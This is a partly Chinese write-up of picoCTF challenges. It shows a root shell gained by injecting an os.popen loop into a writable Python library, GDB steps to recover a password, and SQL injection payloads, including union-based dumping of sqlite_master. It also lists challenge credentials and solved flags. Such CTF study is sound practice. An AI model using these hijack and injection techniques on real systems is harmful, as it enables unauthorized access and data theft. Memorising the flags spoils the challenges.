AUTHOR: THEONESTE BYAGUTANGAZA
Description
Getting root access can allow you to read the flag. Luckily there is a
python file that you might like to play with.
Through Social engineering, we've got the credentials to use on the
server. SSH is running on the server.
import base64 import os import socket ip = 'picoctf.org' response = os.system("ping -c 1 " + ip) #saving ping details to a variable host_info = socket.gethostbyaddr(ip) #getting IP from a domaine host_info_to_str = str(host_info[2]) host_info = base64.b64encode(host_info_to_str.encode('ascii')) print("Hello, this is a part of information gathering",'Host: ', host_info)
vim .server.py沒辦法動.server.py，因為他是readonly，但是權限沒有設定到base64.py
在import file裡面加料 vim /usr/lib/python3.8/base64.py
1 2 3 4
import os while1: cmd=input() print(os.popen(cmd).read())
get shell
1
sudo python3 .server.py
Forensics
hideme
AUTHOR: GEOFFREY NJOGU
Description
Every file gets a flag.
The SOC analyst saw one image been sent back and forth between two
people. They decided to investigate and found out that there was more
than what meets the eye here.
AUTHOR: MUBARAK MIKAIL
Description
Someone might have hidden the password in the trace file.
Find the key to unlock this file. This tracefile might be good to analyze.
AUTHOR: JUNI19
Description
Flag format: picoCTF{Malwarename}
The first letter of the malware name should be capitalized and the rest
lowercase.
Your friend just got hacked and has been asked to pay some bitcoins to
1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX. He doesn’t seem to understand what is
going on and asks you for advice. Can you identify what malware he’s
being a victim of?
AUTHOR: GEOFFREY NJOGU
Description
Can you read files in the root file?
The system admin has provisioned an account for you on the main server:
ssh -p 53849 [email protected]
Password: x+T6aPgE4-
Can you login and read the root file?
picoCTF{uS1ng_v1m_3dit0r_f6ad392b}
水爛
chrono
AUTHOR: MUBARAK MIKAIL
Description
How to automate tasks to run at intervals on linux servers?
Use ssh to connect to this server:
Server: saturn.picoctf.net
Port: 50602
Username: picoplayer
Password: tPmsUpiHeZ
picoCTF{Sch3DUL7NG_T45K3_L1NUX_0bb95b71}
?
useless
AUTHOR: LOIC SHEMA
Description
There's an interesting script in the user's home directory
Additional details will be available after launching your challenge instance.
picoCTF{us3l3ss_ch4ll3ng3_3xpl0it3d_6173}
Special
AUTHOR: LT 'SYREAL' JONES
Description
Don't power users get tired of making spelling mistakes in the shell? Not
anymore! Enter Special, the Spell Checked Interface for Affecting Linux.
Now, every word is properly spelled and capitalized... automatically and
behind-the-scenes! Be the first to test Special in beta, and feel free to
tell us all about how Special streamlines every development process that
you face. When your co-workers see your amazing shell interface, just
tell them: That's Special (TM)
Start your instance to see connection details.
Additional details will be available after launching your challenge
instance.
AUTHOR: MUBARAK MIKAIL
Description
Try reversing this file? Can ya?
I forgot the password to this file. Please find it for me?
題目給了一個檔案ret，執行後要輸密碼
丟GDB
1 2 3 4
start c ctrl^C ni到死
在呼叫strcmp比對密碼時把rsi dump出來，得到前半截flag
picoCTF{3lf_r3v3r5ing_succe55ful_9ae8528
重新執行ret，輸入密碼
picoCTF{3lf_r3v3r5ing_succe55ful_9ae85289}
Web Exploitation
More SQLi
AUTHOR: MUBARAK MIKAIL
Description
Can you find the flag on this website.
Additional details will be available after launching your challenge instance.
Bypass login
進入網頁，經典登入介面
1 2
username=admin& password=' or 'a'='a
題目很貼心把query都print出來給你
調整一下
1 2
username=123& password=' or 1=1;--
進入之後有一個搜尋頁面
測試有幾個欄位
1
searchInput=' union select 1,2,3;--
dump Table
1
searchInput=' or 'a'='a
沒看到flag，可能在別的table
1
' union select group_concat(sql),2,3 from sqlite_master WHERE type='table';--
AUTHOR: SUNDAY JACOB NWANYIM
Description
How about trying to match a regular expression
Additional details will be available after launching your challenge instance.
一開始沒看hint不知道到底要幹嘛
結果是要match^p.....F!?
picoCTF{succ3ssfully_matchtheregex_9080e406}
世紀水題
findme
AUTHOR: GEOFFREY NJOGU
Description
Help us test the form by submiting the username as test and password as test!
Additional details will be available after launching your challenge instance.
先用testtest!登入
進去後他說I was redirected here by a friend of mine but i couldnt find anything. Help me search for flags :-)
